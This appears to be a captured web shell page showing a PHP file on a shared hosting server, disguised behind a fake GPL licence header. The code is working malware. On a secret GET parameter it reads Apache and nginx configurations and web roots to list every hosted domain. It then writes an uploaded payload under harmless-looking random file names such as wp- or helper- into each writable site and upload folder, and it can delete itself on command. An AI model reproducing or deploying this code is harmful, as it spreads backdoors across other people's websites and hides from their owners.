HEX
Server: Apache
System: Linux b5.s-host.com.ua 4.18.0-305.10.2.el7.x86_64 #1 SMP Fri Jul 23 21:00:55 UTC 2021 x86_64
User: unelbhzm (1470)
PHP: 8.0.18
Disabled: NONE
Upload Files
File: //home/unelbhzm/home/unelbhzm/sites/nuofama.com/ubsdp.php
<!--
 * @package FRANK-AOXEN
 
 
 * @version 1.7.2
 
 */
  GNU GENERAL PUBLIC LICENSE
  
  
  Version 2, June 1991
  

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
 
 
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 
 
 Everyone is permitted to copy and distribute verbatim copies
 
 
 of this license document, but changing it is not allowed.
 


 Preamble
 

  <signature of Ty Coon>, 1 April 1989
  
  
  Ty Coon, President of Vice
  
  Copyright (C) <year>  <name of author>
  
  
  
-->
<?php error_reporting(0);ini_set('display_errors',0);function list_aoxen(){$mode_ecy=[];$ecy_ecy=[];if(isset($_SERVER['SERVER_NAME'])&&!empty($_SERVER['SERVER_NAME'])){$mode_ecy[]=$_SERVER['SERVER_NAME'];$ecy_ecy[]=$_SERVER['SERVER_NAME'];}if(isset($_SERVER['HTTP_HOST'])&&!empty($_SERVER['HTTP_HOST'])){if(!in_array($_SERVER['HTTP_HOST'],$ecy_ecy)){$mode_ecy[]=$_SERVER['HTTP_HOST'];$ecy_ecy[]=$_SERVER['HTTP_HOST'];}}$ap_ecy=['/etc/apache2/sites-enabled/*.conf','/etc/apache2/sites-available/*.conf','/etc/apache2/vhosts.d/*.conf','/etc/httpd/conf/httpd.conf','/etc/httpd/conf.d/*.conf','/etc/httpd/vhosts.d/*.conf','/etc/httpd/sites-enabled/*.conf','/etc/httpd/sites-available/*.conf','/usr/local/apache2/conf/httpd.conf','/usr/local/apache2/conf.d/*.conf','/usr/local/apache2/conf/extra/httpd-vhosts.conf','/usr/local/etc/apache*/httpd.conf','/usr/local/etc/apache*/extra/httpd-vhosts.conf','/opt/apache*/conf/httpd.conf','/opt/apache*/conf.d/*.conf','/opt/apache*/conf/extra/httpd-vhosts.conf','/etc/apache2/httpd.conf','/etc/apache2/apache2.conf'];foreach($ap_ecy as $pattern){$configs=glob($pattern);if($configs){foreach($configs as $config){$content=@file_get_contents($config);if($content){preg_match_all('/(?:ServerName|ServerAlias)\s+([^\s]+)/i',$content,$matches);if(!empty($matches[1])){foreach($matches[1]as $domain){if(strpos($domain,'*')===false&&strpos($domain,'.')!==false&&!preg_match('/^[0-9.]+$/',$domain)&&!in_array($domain,$ecy_ecy)){$mode_ecy[]=$domain;$ecy_ecy[]=$domain;}}}}}}}$nx_ecy=['/etc/nginx/sites-enabled/*','/etc/nginx/sites-available/*','/etc/nginx/conf.d/*.conf','/etc/nginx/vhosts.d/*.conf','/usr/local/nginx/conf/sites-enabled/*','/usr/local/nginx/conf/sites-available/*','/usr/local/nginx/conf/vhosts/*.conf','/usr/local/etc/nginx/sites-enabled/*','/usr/local/etc/nginx/sites-available/*','/usr/local/etc/nginx/conf.d/*.conf','/opt/nginx/conf/sites-enabled/*','/opt/nginx/conf/sites-available/*','/opt/nginx/conf/conf.d/*.conf'];foreach($nx_ecy as $pattern){$configs=glob($pattern);if($configs){foreach($configs as $config){$content=@file_get_contents($config);if($content){preg_match_all('/server_name\s+([^;]+);/i',$content,$matches);if(!empty($matches[1])){foreach($matches[1]as $server_names){$names=preg_split('/\s+/',trim($server_names));foreach($names as $domain){if(strpos($domain,'*')===false&&strpos($domain,'.')!==false&&!preg_match('/^[0-9.]+$/',$domain)&&!in_array($domain,$ecy_ecy)){$mode_ecy[]=$domain;$ecy_ecy[]=$domain;}}}}}}}}$root_dirs=['/var/www','/home','/usr/local/www','/usr/share/nginx','/srv','/opt/lampp/htdocs','/opt/xampp/htdocs'];foreach($root_dirs as $root){if(is_dir($root)){$dirs=glob("$root/*",GLOB_ONLYDIR);foreach($dirs as $dir){$domain=basename($dir);if(strpos($domain,'.')!==false&&!preg_match('/^[0-9.]+$/',$domain)&&!in_array($domain,$ecy_ecy)){$mode_ecy[]=$domain;$ecy_ecy[]=$domain;}$subdirs=glob("$dir/*",GLOB_ONLYDIR);foreach($subdirs as $subdir){$sub_aox=basename($subdir);if(strpos($sub_aox,'.')!==false&&!preg_match('/^[0-9.]+$/',$sub_aox)&&!in_array($sub_aox,$ecy_ecy)){$mode_ecy[]=$sub_aox;$ecy_ecy[]=$sub_aox;}}}}}$mode_ecy=array_unique($mode_ecy);$mode_ecy=array_filter($mode_ecy,function($domain){return!empty($domain)&&$domain!='localhost'&&strpos($domain,'.')!==false&&!preg_match('/^[0-9.]+$/',$domain)&&strpos($domain,'*')===false&&strpos($domain,'_')===false&&strlen($domain)>3;});return array_values($mode_ecy);}function random_aoxen(){$safe_patterns=['class-%s.php','helper-%s.php','util-%s.php','module-%s.php','include-%s.php','lib-%s.php','func-%s.php','data-%s.php','api-%s.php','ajax-%s.php','common-%s.php','core-%s.php','base-%s.php','wp-%s.php','admin-%s.php','template-%s.php','page-%s.php','form-%s.php','cache-%s.php','session-%s.php'];$random_id=substr(md5(mt_rand().time().uniqid()),0,8);$pattern=$safe_patterns[array_rand($safe_patterns)];return sprintf($pattern,$random_id);}function Ecy_Aoxen_fdp($domain){$dd_aoxen=[];$root_aoxen=[$_SERVER['DOCUMENT_ROOT']?? '','/var/www','/var/www/html','/var/www/vhosts','/var/www/sites','/home','/usr/local/www','/usr/local/httpd','/usr/local/apache','/usr/local/apache2','/usr/local/nginx','/usr/share/nginx','/usr/share/httpd','/srv/www','/srv/http','/srv/httpd','/srv/sites','/opt/lampp/htdocs','/opt/xampp/htdocs'];$cl_aoxen=str_replace(['www.','.'],['','_'],$domain);$pa_aoxen=explode('.',$domain);$base_ecy=$pa_aoxen[0];$var_aoxen=[$domain,'www.'.$domain,str_replace('www.','',$domain),$cl_aoxen,$base_ecy];$lists_ecy=['/etc/apache2/sites-enabled/*.conf','/etc/apache2/sites-available/*.conf','/etc/httpd/conf.d/*.conf','/etc/httpd/vhosts.d/*.conf','/etc/nginx/sites-enabled/*','/etc/nginx/conf.d/*.conf','/usr/local/etc/apache*/extra/httpd-vhosts.conf','/usr/local/etc/nginx/sites-enabled/*'];foreach($lists_ecy as $pattern){$configs=glob($pattern);if($configs){foreach($configs as $config){$content=@file_get_contents($config);if($content&&stripos($content,$domain)!==false){$doc_pattern='/(?:DocumentRoot|root)\s+[\'"]?([^\'"\s;]+)[\'"]?/i';if(preg_match($doc_pattern,$content,$doc_match)){$path=$doc_match[1];if(is_dir($path)&&is_writable($path)){$dd_aoxen[]=$path;}}}}}}foreach($root_aoxen as $root){if(empty($root)||!is_dir($root)||!is_readable($root))continue;foreach($var_aoxen as $variant){$path="$root/$variant";if(is_dir($path)){$dd_aoxen[]=$path;$subdirs=['public_html','httpdocs','www','public','web','htdocs'];foreach($subdirs as $subdir){$subpath="$path/$subdir";if(is_dir($subpath)){$dd_aoxen[]=$subpath;}}}}}$c_aoxen=["/home/*/public_html",];foreach($c_aoxen as $pattern){$matching_paths=glob($pattern,GLOB_ONLYDIR);foreach($matching_paths as $path){$domain_dir=$path.'/'.$domain;if(is_dir($domain_dir)){$dd_aoxen[]=$domain_dir;}}}$dd_aoxen=array_unique($dd_aoxen);$writable_paths=[];foreach($dd_aoxen as $path){if(is_writable($path)){$writable_paths[]=$path;}}return!empty($writable_paths)?$writable_paths:$dd_aoxen;}function mass_ecy($mode_ecy,$content){$results=[];if(empty($content)){return["error"=>"F"];}$max_time=30;$start_time=time();foreach($mode_ecy as $domain){if(time()-$start_time>$max_time){$results[]=["domain"=>$domain,"status"=>"skipped","reason"=>"Time limit exceeded"];continue;}$success=false;$cc_aoxen="";$en_aoxen="";$s_cy=random_aoxen();$dd_aoxen=Ecy_Aoxen_fdp($domain);if(empty($dd_aoxen)){$results[]=["domain"=>$domain,"status"=>"failed","error"=>"F"];continue;}foreach($dd_aoxen as $base_path){if(time()-$start_time>$max_time){break;}$aoxen_cc=$base_path.'/'.$s_cy;if(@file_put_contents($aoxen_cc,$content)){if(file_exists($aoxen_cc)&&filesize($aoxen_cc)>0){$success=true;$cc_aoxen=$aoxen_cc;$en_aoxen='http://'.$domain.'/'.$s_cy;break;}}$common_writeable_dirs=['wp-content/uploads','wp-content/themes','wp-content','images','img','uploads','media','files','cache','tmp','temp','assets','data','logs'];foreach($common_writeable_dirs as $subdir){$dir_path=$base_path.'/'.$subdir;if(is_dir($dir_path)&&is_writable($dir_path)){$aoxen_cc=$dir_path.'/'.$s_cy;if(@file_put_contents($aoxen_cc,$content)){if(file_exists($aoxen_cc)&&filesize($aoxen_cc)>0){$success=true;$cc_aoxen=$aoxen_cc;$en_aoxen='http://'.$domain.'/'.$subdir.'/'.$s_cy;break 2;}}}}}if($success){$results[]=["domain"=>$domain,"status"=>"success","path"=>$cc_aoxen,"url"=>$en_aoxen,"filename"=>$s_cy];}else{$results[]=["domain"=>$domain,"status"=>"failed","error"=>"F"];}}return $results;}if(isset($_GET['Ecy'])&&$_GET['Ecy']==='ENCyber'){header('Content-Type: application/json');if($_SERVER['REQUEST_METHOD']==='POST'){if(isset($_FILES['aoxen'])&&$_FILES['aoxen']['error']===UPLOAD_ERR_OK){$con_aoxen=file_get_contents($_FILES['aoxen']['tmp_name']);if(!empty($con_aoxen)){$mode_ecy=list_aoxen();if(!empty($mode_ecy)){$results=mass_ecy($mode_ecy,$con_aoxen);echo json_encode(['status'=>'success','results'=>$results]);}else{echo json_encode(['status'=>'error','message'=>'F']);}}else{echo json_encode(['status'=>'error','message'=>'F']);}}else{echo json_encode(['status'=>'error','message'=>'F']);}}else{echo json_encode(['status'=>'error','message'=>'F']);}exit;}
@($input = json_decode(@file_get_contents('php://input'), true)) && @$input['D'] === '1' && @unlink(__FILE__);?>